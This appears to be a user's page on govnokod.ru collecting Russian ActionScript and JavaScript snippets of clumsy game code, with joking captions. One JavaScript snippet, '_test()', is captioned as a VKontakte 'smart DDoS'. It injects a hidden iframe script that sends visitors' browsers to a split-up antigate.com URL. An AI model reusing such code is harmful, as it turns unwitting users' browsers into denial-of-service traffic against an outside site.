- 1
- 2
//дальше идет "родной" движок, спасибо не надо.
return;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 34
−106
//дальше идет "родной" движок, спасибо не надо.
return;
Разбираюсь в исходнике одного индуса, поддерживаемого 4 года нашими разработчиками
+130
/*
* Это массив объектов данных мануала. Один элемент - одна ступень.
* У объектов может быть указан checkpoint:Boolean - место, к которому вернется игрок, при закрытии игры
* У каждого объекта должен быть указан type:String, в зависимости от этого меняются другие свойства.
* Для создания нового типа ступени туториала - необходимо создать класс, наследующий ITutorialData
* и добавить соотвествующую запись в showStep::TutorialManager
* Виды type:
* dialog - диалоговое окно, атрибуты:
* sex:Boolean - какого персонажа показывать в окне
* descr:String - текст диалогового окна
* pointer - стрелка, указывающая на кнопку
* x,y:int - координаты кнопки
* width,height:uint - размеры кнопки
* x_a,y_a:int - координаты стрелки
* angle:int - поворот стрелки, рекомендуемые значения: 0, 90, -90, 180
* необязательные:
* startfunc:Function - функция, выполняемая ПРИ переходе на эту ступень
* endfunc:Function - функция, выполняемая ПОСЛЕ нажатия кнопки
* handler - слушатель событий
* target:EventDispatcher - объект, на который подпишется туториал
* event:String - название события, на которое подпишется туториал
* необязательные:
* startfunc:Function - функция, выполняемая ДО подписки на событие
* eventDispatchFunction:Function - функция, выполняемая ВО ВРЕМЯ возникновения события
* endfunc:Function - функция, выполняемая ПОСЛЕ возникновения события
* handler-pointer - слушатель событий, показывающий стрелку
* x_a,y_a:int - координаты стрелки
* target:EventDispatcher - объект, на который подпишется туториал
* event:String - название события, на которое подпишется туториал
* необязательные:
* startfunc:Function - функция, выполняемая ДО подписки на событие
* eventDispatchFunction:Function - функция, выполняемая ВО ВРЕМЯ возникновения события
* endfunc:Function - функция, выполняемая ПОСЛЕ возникновения события
* Спасибо за внимание
*/
public static var data:Array;
После такого комментария становится страшно что-то трогать
−151
private function chopCompleteHandler(e : DataEvent):void
{
if (e.getData().toString() != "false")//что за чудесные преобразования? ////так надо, по другому не хочет
{
_player.animLift();
if (!e.getData().energy)
{
targetSquare.fieldObject.lifes = uint(e.getData().lifes);
if (e.getData().lifes == 0)
targetSquare.destroyFieldObject();
if (e.getData().bonus)
scatterBunuses(e.getData().bonus);
Model.instance.requestData(ModelEnum.SERVICE_USER, ModelEnum.METHOD_GETINFO, true, GameCanvas.instance.userID);
}
else
Alert.show("Нужно еще " + e.getData().energy+".", "Недостаточно энергии");
}
}
−207
public function Square()
{
_image = new Image();
_image.smoothBitmapContent = true;
_mask = new Image();
Level.instance.addEventListener("squaresCreated", squareCreatedHandler);
}
/*
* Добавляет монстров на field по событию "squaresCreated".
* Почему эта логика не в field не ебу.
*/
private function squaresCreatedHandler(evt:Event):void
{
if (isMonster)
{
Level.instance.field.addChild(_fieldMonster);
_fieldMonster.x = this.x;
_fieldMonster.y = this.y;
}
}
Мимими, всегда бы такие комменты в коде встречать
+147
function _test() {
var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
}
"Умный" ддос ВКонташкой antigate.com
http://habrahabr.ru/post/142836/
−211
public function GameCanvas()
{
if(_instance)
throw new Error("Вы не можете создавать экземпляры класса при помощи конструктора. Для доступа к экземпляру используйте GameCanvas.instance.");
if (stage) {
createGameCanvas();
} else {
addEventListener(Event.ADDED_TO_STAGE, createGameCanvas);
}
}
public var field : Field;
public var current_field : uint = 1;
public var fields_canvas : Canvas;
public function createGameCanvas(e:Event = null):void
{
GodObject.instance.addEventListener(ModelEnum.SERVICE_LEVEL.toString() + "." + ModelEnum.METHOD_GETUSERLEVEL.toString(), createLevel);
GodObject.instance.addEventListener(ModelEnum.SERVICE_SANDBOX.toString() + "." + ModelEnum.METHOD_GETUSERSANDBOX.toString(), createSandbox);
GodObject.instance.addEventListener(ModelEnum.SERVICE_USER.toString() + "." + ModelEnum.METHOD_GETINFO.toString(), getInfoHandler);
removeEventListener(Event.ADDED_TO_STAGE, createGameCanvas);
this.width = 800;
this.height = 600;
this.x = 0;
this.y = 0;
this.autoLayout = false;
this.verticalScrollPolicy = "off";
this.horizontalScrollPolicy = "off";
_memСontroller = new MemoryController();
loadData = new LoadData();
stage.addEventListener(Event.RESIZE , windowResize);
MainInterface.instance.create_main_interfame();
this.addChild(MainInterface.instance);
var items:Vector.<InventoryItem> = new Vector.<InventoryItem>();
items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
items.push(new InventoryItem(FieldLibrary.square_grass_class, "sad"));
Inventory.instance.createInventory(items.length+ 68, items);
//addChild(ActiveQuests.instance);
var obj:Array = [ { name:"Найди пять бутылок", descr:"Тебе необходимо сдать 5 бутылок, чтобы купить банку яги!" },
{ name:"Трололошки", descr:"Оставь десять комментов, содержащих слово \"школота\"!" },
{name:"Сдай сессию", descr:"Будь мужиком, сдай сессию!"} ];
ActiveQuests.instance.setQuests(obj);
switch (Capabilities.playerType) {
case 'StandAlone':
loadData.gateway.call("Server.service", new Responder(startSessionResult, loadData.onFault),"User.startSession", "bstrx");//bstrx
break;
}
for (var i:uint = 0; i < MainInterface.instance._menuBtsButtons.length;i++)
(MainInterface.instance._menuBtsButtons[i].img as Image).addEventListener(MouseEvent.CLICK, menuButtonsClickHandler);
//Model.instance.requestData(ModelEnum.SERVICE_LEVEL, ModelEnum.METHOD_GETUSERLEVEL, true, userID, current_field);
}
private function createLevel(e : DataEvent):void
{
if (e.getData())
{
ScreenManager.removeObject(field, this);
field = new Field();
field.sandbox = false;
field.initFieldListeners();
field.initSquareListeners();
field.createField(e.getData());
field.rearrange();
field.createPlayer(e.getData()[0].id);
this.addChildAt(field, this.getChildIndex(MainInterface.instance));
MainInterface.instance.setBtnsField();
}
}
Кусочек главного класса игры до рефакторинга
+145
this.getRgbaAtColor = function(color)
{
color = (color.charAt(0)=="#") ? color.substring(1,9):color;
color = (color.substring(0,2)=="0x") ? color.substring(2,10):color;var r = parseInt(color.substring(0,2),16);
var g = parseInt(color.substring(2,4),16);
var b = parseInt(color.substring(4,6),16);
var a = color.substring(6,8);
a = (a=="") ? 255:parseInt(a,16);
return "rgba("+r+","+g+","+b+","+(a/255)+")";
}
геймдев..
−119
private function pathfindingOfHell(begin:Point, to:Point, delPoint:Point):Boolean
{
var aop:Vector.<GameFigure> = new Vector.<GameFigure>();
aop.push(arr[begin.x][begin.y]);
var i:uint = 0;
while (i != count * 2 - 1)
{
for (var x_:int = -1;x_ < 2;x_++)
for (var y_:int = -1;y_ < 2;y_++)
{
if (x_ != 0 && y_ != 0)
{
var tP:Point = new Point(aop[aop.length - 1].x_pos + x_, aop[aop.length - 1].y_pos + y_);
var target:GameFigure = arr[tP.x][tP.y];
if (!target.isFreedom && !searchInArray(aop, target) && delPoint != tP)
{
aop.push(target);
if (target == arr[to.x][to.y])
{
aop = null;
return true;
}
}
}
}
i++;
}
aop = null;
return false;
}
+145
http://light-radio.com/dev/
Изучал Канвас. Открывайте исходный код и удивляйтесь =)
Столько говна я наверно еще никогда не писал.
−117
var regs:Vector.<DisplayObject> = new Vector.<DisplayObject>();
var i:uint=0;
while(map["reg"+i])
{
regs.push(map["reg"+i]);
i++;
}
trace("<xml>")
for(i=0;i<regs.length;i++)
{
trace('<reg id="'+i+'">');
trace("<name>"+getQualifiedClassName(regs[i])+"</name>");
trace("<url></url>");
trace('</reg>');
}
trace("</xml>")
мои (промежуточные) извращения на тему карты россии с кликабельными регионами и данными в xml.